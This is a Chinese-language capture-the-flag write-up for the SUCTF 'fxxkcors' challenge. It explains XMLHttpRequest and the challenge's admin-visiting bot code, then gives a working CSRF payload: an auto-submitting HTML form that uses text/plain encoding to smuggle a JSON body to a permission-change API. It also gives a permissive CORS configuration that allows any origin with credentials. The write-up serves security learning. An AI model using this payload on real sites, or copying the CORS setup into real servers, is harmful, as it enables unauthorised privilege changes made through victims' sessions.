csrf | SUCTF-fxxkcors
fxxkcors
0x00 try
随意输入用户名密码(无需注册),自动跳转到主页面,点击changepermission,跳转到change.php,页面内容如下:
有文本框和按钮,提示输入用户,就可变为admin
但是提交之后显示
permission denied
权限不够
因为自己不是admin
如何绕过admin的限制
查看change.php的源代码,看到一段js代码,看到username很锌粉
0x01 What‘s XMLHttpRequest?
XML+Http+Request
XMLHTTP是一组API函数集,可被JavaScript、JScript、VBScript以及其它web浏览器内嵌的脚本语言调用,通过HTTP在浏览器和web服务器之间收发XML或其它数据。XMLHTTP最大的好处在于可以动态地更新网页,它无需重新从服务器读取整个网页,也不需要安装额外的插件。该技术被许多网站使用,以实现快速响应的动态网页应用。
什么是 XML?
- XML 指可扩展标记语言(EXtensible Markup Language)
- XML 是一种标记语言,很类似 HTML
- XML 的设计宗旨是传输数据,而非显示数据
- XML 被设计为传输和存储数据,其焦点是数据的内容。
- HTML 被设计用来显示数据,其焦点是数据的外观。
- HTML 旨在显示信息,而 XML 旨在传输信息。
http 超文本传输协议
request 客户端请求
XMLHttpRequest这种技术我们愿称之为ajax (Asynchronous Javascript And XML)(异步JavaScript和XML)
0x02 code1
function submitRequest(username)
{
// 新建一个XMLHttpRequest对象
var xhr= new XMLHttpRequest();
// 使用open方法初始化
xhr.open("POST", "changeapi.php", true);
//添加HTTP请求头部
xhr.setRequestHeader("Accept", "application/json, text/plain,*/*");
xhr.setRequestHeader("Accept-Language", "zh-CN, zh; q=0.8, en-US; q=0.5, en; q=0.3");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
// 使用send方法发送请求
xhr.send(JSON.stringify({'username': username}));
// 绑定事件,在xhs的readystate属性发生改变时做出处理
xhr.onreadystatechange = function(){
if(xhr.readyState === XMLHttpRequest.DONE) {
if(xhr.responseText === 'nop'){
alert('no permission or something wrong');
}
else{
alert('success');
}
}
}
}
结合注释,代码很好理解
提及了一个更改权限的文件
changeapi.php,尝试直接访问报错
那么chang.php的作用仅是让我们提交想要更改的用户名而已。
0x03 code2
访问题目给的3个网址随意一个http://159.138.56.26:3000/fxxkcors
都是有一个文本框让我们输入提交。
有关源码fxxkcors.js:
const opt = {
name: "fxxkcors",
router: "fxxkcors",
site: process.env.FXXK_SITE ?? "",
}
//创建Promise对象
const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
const visit = async (browser, url) =>{
let site = process.env.FXXK_SITE ?? ""
console.log(`[+]${opt.name}: ${url}`)
let renderOpt = {...opt}
try {
//通过 Browser 对象创建页面 Page 对象
const loginpage = await browser.newPage()
//通过 goto 跳转到 site
await loginpage.goto(site)
//匹配文本框元素,以及要输入的字符串
await loginpage.type("input[name=username]", "admin")
await loginpage.type("input[name=password]", process.env.FXXK_ADMIN_PASS ?? "")
await Promise.all([
//匹配按钮并点击提交
loginpage.click('button[name=submit]'),
loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000})
])
//跳转
await loginpage.goto("about:blank")
//关闭页面
await loginpage.close()
const page = await browser.newPage()
await page.goto(url, {waitUntil: 'networkidle0', timeout: 2000})
await delay(2000) /// waiting 2 second.
console.log(await page.evaluate(() => document.documentElement.outerHTML))
}catch (e) {
console.log(e)
renderOpt.message = "error occurred"
return renderOpt
}
renderOpt.message = "admin will view your report soon"
return renderOpt
}
module.exports = {
opt:opt,
visit:visit
}
这段code的作用在于登陆admin用户,browser保存cookie,然后访问我们提交的url
已经是admin身份,就要联想到前面遇到的权限限制,时刻知道这里有admin,有cookie
如何利用?
0x04 csrf
攻击者盗用了你的身份,以你的名义发送恶意请求。
图中两个难点
-
如何让其访问我们的网站
-
如何让C的browser按我们网站的要求去做
在这道题中,只有后者的问题
让C的browser的按照我们所想,带着他的amdin身份和我们的用户名访问api接口,成功修改权限
0x05 exploit
要让fxxkcors网站服务器访问到,必须得有公网ip
搭建web服务,在网站目录下存放一个html
<html>
<body>
<form name="form1" action="http://124.71.205.122:10002/changeapi.php" method="post" enctype="text/plain">
<input name='{"username":"ln", "test":"' value='test"}'type='hidden' >
<input type="submit" value>
</form>
<script>
document.forms.form1.submit();
</script>
</body>
</html>
这个html很简单,就是文本框,内容提前写好,自动调用submit提交
把这个网址url提交给fxxkcores web服务器,这样就能实现让fxxkcores web服务器访问我们的构造的网页,进而自动提交内容给我们指定网址 即改权限的api接口。
内容的构造还得花心思,前面xmlhttprequest指定的传输数据格式是json格式的
xhr.send(JSON.stringify({'username': username}));
所以自动提交的也必须是json格式的
<input name='{"username":"ln", "test":"' value='test"}' ... >
最后还要注意
除了指定的方法要是post之外,还要指定其为文本类型
避免被编码
< ... method="post" enctype="text/plain">
最后我们抓个包测试看看有无问题
跨域请求访问问题
0x05 cors(Cross-Origin Resource Sharing)
http://159.138.56.26:3000/fxxkcors
http://124.71.205.122:10002/changeapi.php
原因
出于浏览器的同源策略限制。
同源策略(Same Orgin Policy)是一种约定,它是浏览器核心也最基本的安全功能,它会阻止一个域的js脚本和另外一个域的内容进行交互,如果缺少了同源策略,浏览器很容易受到XSS、CSFR等攻击。所谓同源(即在同一个域)就是两个页面具有相同的协议(protocol)、主机(host)和端口号(port)
如何解决?
以Nginx为例,如果配置文件中增加如下配置项,那么服务器会自动在http响应的时候,在头部添加字段“Access-Control-Allow-Origin: *”和“Access-Control-Allow-Credentials: true”,表示允许任意源站访问本站(跨域访问),以及允许跨域访问时带上本站cookie。
location ~ \.(php|php5|PHP)$ { ...
add_header Access-Control-Allow-Origin *;add_header Access-Control-Allow-Credentials 'true';
}
1)Access-Control-Allow-Origin
2)Access-Control-Allow-Credentials
表示是否允许浏览器跨域访问时带上本站cookie。
3)Access-Control-Allow-Methods
4)Access-Control-Allow-Headers